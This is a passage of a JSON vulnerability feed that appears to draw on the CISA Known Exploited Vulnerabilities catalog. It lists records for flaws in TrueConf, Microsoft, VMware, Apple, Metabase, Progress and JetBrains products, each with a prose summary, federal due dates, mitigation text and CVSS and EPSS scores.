Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-72529","asOf":"2026-08-19T16:55:14.949Z"},"epss":{"probability":0.01464,"percentile":0.73458,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-72529&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-72529","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-72529 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-72529&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-72529, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Kaspersky","url":"https://cveawg.mitre.org/api/cve/CVE-2026-72529","type":"primary","publishedAt":"2026-08-19T16:55:14.949Z","checkedAt":"2026-10-26T16:35:58.328Z","supports":"The published CVE-2026-72529 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:35:58.328Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72530","cveId":"CVE-2026-72530","aliases":[],"kind":"vulnerability","title":"TrueConf Server Code Injection Vulnerability","summary":"TrueConf Server contains a code injection vulnerability that could allow an unauthorized remote attacker with network access via port 4307/TCP to use a specially crafted script to break out of the isolated environment and execute arbitrary code on the host system.","detail":"CISA added this entry on 2026-08-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-20","updatedAt":null,"regions":["Global"],"vendor":"TrueConf","product":"Server","stacks":["TrueConf","Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-20","dueAt":"2026-09-03","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-72530","asOf":"2026-08-19T16:56:53.099Z"},"epss":{"probability":0.01686,"percentile":0.76852,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-72530&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-72530","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-72530 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-72530&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-72530, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Kaspersky","url":"https://cveawg.mitre.org/api/cve/CVE-2026-72530","type":"primary","publishedAt":"2026-08-19T16:56:53.099Z","checkedAt":"2026-10-26T16:35:58.328Z","supports":"The published CVE-2026-72530 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:35:58.328Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33824","cveId":"CVE-2026-33824","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Key Exchange (IKE) Service Extensions Double Free Vulnerability","summary":"Microsoft Internet Key Exchange (IKE) Service Extensions contains a double free vulnerability that could enable remote code execution.","detail":"CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-18","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Key Exchange (IKE) Service Extensions","stacks":["Microsoft","Internet Key Exchange (IKE) Service Extensions"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-18","dueAt":"2026-08-21","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-33824","asOf":"2026-10-15T15:53:44.194Z"},"epss":{"probability":0.77054,"percentile":0.99547,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-33824&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-33824","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-33824 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33824&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-33824, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA microsoft","url":"https://cveawg.mitre.org/api/cve/CVE-2026-33824","type":"primary","publishedAt":"2026-04-14T16:58:45.469Z","checkedAt":"2026-10-26T16:35:58.328Z","supports":"The published CVE-2026-33824 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:35:58.328Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55040","cveId":"CVE-2026-55040","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Weak Authentication Vulnerability","summary":"Microsoft SharePoint contains a weak authentication vulnerability which allows an unauthorized attacker to bypass a security feature over a network.","detail":"CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-18","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint","stacks":["Microsoft SharePoint","Microsoft","SharePoint"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-18","dueAt":"2026-08-21","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:U/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-55040","asOf":"2026-10-08T18:16:58.104Z"},"epss":{"probability":0.69536,"percentile":0.99359,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55040&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-55040","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-55040 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55040&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55040, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA microsoft","url":"https://cveawg.mitre.org/api/cve/CVE-2026-55040","type":"primary","publishedAt":"2026-07-14T17:09:00.641Z","checkedAt":"2026-10-26T16:35:58.328Z","supports":"The published CVE-2026-55040 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:35:58.328Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-59310","cveId":"CVE-2026-59310","aliases":[],"kind":"vulnerability","title":"Broadcom VMware vCenter Path Traversal Vulnerability","summary":"Broadcom VMware vCenter contains a path traversal vulnerability which could allow a threat actor with network access to vCenter to execute arbitrary code.","detail":"CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-18","updatedAt":null,"regions":["Global"],"vendor":"Broadcom","product":"VMware vCenter","stacks":["VMware","Broadcom","VMware vCenter"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-18","dueAt":"2026-08-21","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-59310","asOf":"2026-07-30T12:28:20.696Z"},"epss":{"probability":0.02565,"percentile":0.85008,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-59310&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-59310","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-59310 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-59310&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-59310, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA vmware","url":"https://cveawg.mitre.org/api/cve/CVE-2026-59310","type":"primary","publishedAt":"2026-07-30T12:19:25.296Z","checkedAt":"2026-10-26T16:35:58.328Z","supports":"The published CVE-2026-59310 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:35:58.328Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65400","cveId":"CVE-2026-65400","aliases":[],"kind":"vulnerability","title":"Apple macOS Improper Authentication Vulnerability","summary":"Apple macOS contains an improper authentication vulnerability that could allow an attacker on the network to authenticate to Screen Sharing without valid credentials.","detail":"CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-18","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"macOS","stacks":["Apple macOS","Apple","macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-18","dueAt":"2026-08-21","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-65400","asOf":"2026-08-19T03:55:50.505Z"},"epss":{"probability":0.01723,"percentile":0.77344,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65400&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-65400","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-65400 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65400&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65400, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-65400","type":"primary","publishedAt":"2026-08-06T18:17:18.263Z","checkedAt":"2026-10-26T16:35:58.328Z","supports":"The published CVE-2026-65400 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:35:58.328Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-62593","cveId":"CVE-2025-62593","aliases":[],"kind":"vulnerability","title":"Ray-Project Ray Code Injection Vulnerability","summary":"Ray-Project Ray contains a code injection vulnerability that could allow remote code execution. Developers using Ray as a development tool may be exposed to this vulnerability exploitable through Firefox and Safari.","detail":"CISA added this entry on 2026-08-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-17","updatedAt":null,"regions":["Global"],"vendor":"Ray-Project","product":"Ray","stacks":["Ray-Project","Ray"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-17","dueAt":"2026-08-20","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2025-62593","asOf":"2025-11-26T22:28:28.577Z"},"epss":{"probability":0.62459,"percentile":0.9918,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-62593&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-62593","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-62593 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-62593&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-62593, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA GitHub_M","url":"https://cveawg.mitre.org/api/cve/CVE-2025-62593","type":"primary","publishedAt":"2025-11-26T22:28:28.577Z","checkedAt":"2026-10-26T16:35:58.328Z","supports":"The published CVE-2025-62593 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:35:58.328Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-72898","cveId":"CVE-2026-72898","aliases":[],"kind":"vulnerability","title":"Metabase SQL Injection Vulnerability","summary":"Metabase contains a SQL Injection vulnerability that allows an unauthenticated remote attacker to inject arbitrary SQL into the Metabase application database, which can give them administrator access to the instance. From there, the attacker could change the application configuration, steal stored credentials for the connected databases, read any data accessible through those connections, and export data.","detail":"CISA added this entry on 2026-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-11","updatedAt":null,"regions":["Global"],"vendor":"Metabase","product":"Metabase","stacks":["Metabase"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-11","dueAt":"2026-08-14","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-72898","asOf":"2026-08-10T17:55:54.841Z"},"epss":{"probability":0.98552,"percentile":0.99922,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-72898&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-72898","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-72898 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-72898&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-72898, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisa-cg","url":"https://cveawg.mitre.org/api/cve/CVE-2026-72898","type":"primary","publishedAt":"2026-08-10T17:55:54.841Z","checkedAt":"2026-10-26T16:51:01.652Z","supports":"The published CVE-2026-72898 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:51:01.652Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8037","cveId":"CVE-2026-8037","aliases":[],"kind":"vulnerability","title":"Progress LoadMaster Command Injection Vulnerability","summary":"Progress LoadMaster contains a command injection vulnerability that allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints.","detail":"CISA added this entry on 2026-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-07","updatedAt":null,"regions":["Global"],"vendor":"Progress","product":"LoadMaster","stacks":["Progress (MOVEit, Telerik, WS_FTP)","Progress","LoadMaster"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-07","dueAt":"2026-08-10","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-8037","asOf":"2026-10-15T13:20:45.089Z"},"epss":{"probability":0.99837,"percentile":0.99961,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-8037&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-8037","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-8037 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-8037&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-8037, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA ProgressSoftware","url":"https://cveawg.mitre.org/api/cve/CVE-2026-8037","type":"primary","publishedAt":"2026-06-04T13:13:45.793Z","checkedAt":"2026-10-26T16:51:01.652Z","supports":"The published CVE-2026-8037 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:51:01.652Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63077","cveId":"CVE-2026-63077","aliases":[],"kind":"vulnerability","title":"JetBrains TeamCity Deserialization of Untrusted Data Vulnerability","summary":"JetBrains TeamCity contains a deserialization of untrusted data vulnerability that could allow unauthenticated remote code execution via the agent polling protocol.","detail":"CISA added this entry on 2026-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-05","updatedAt":null,"regions":["Global"],"vendor":"JetBrains","product":"TeamCity","stacks":["JetBrains TeamCity","JetBrains","TeamCity"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-05","dueAt":"2026-08-08","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 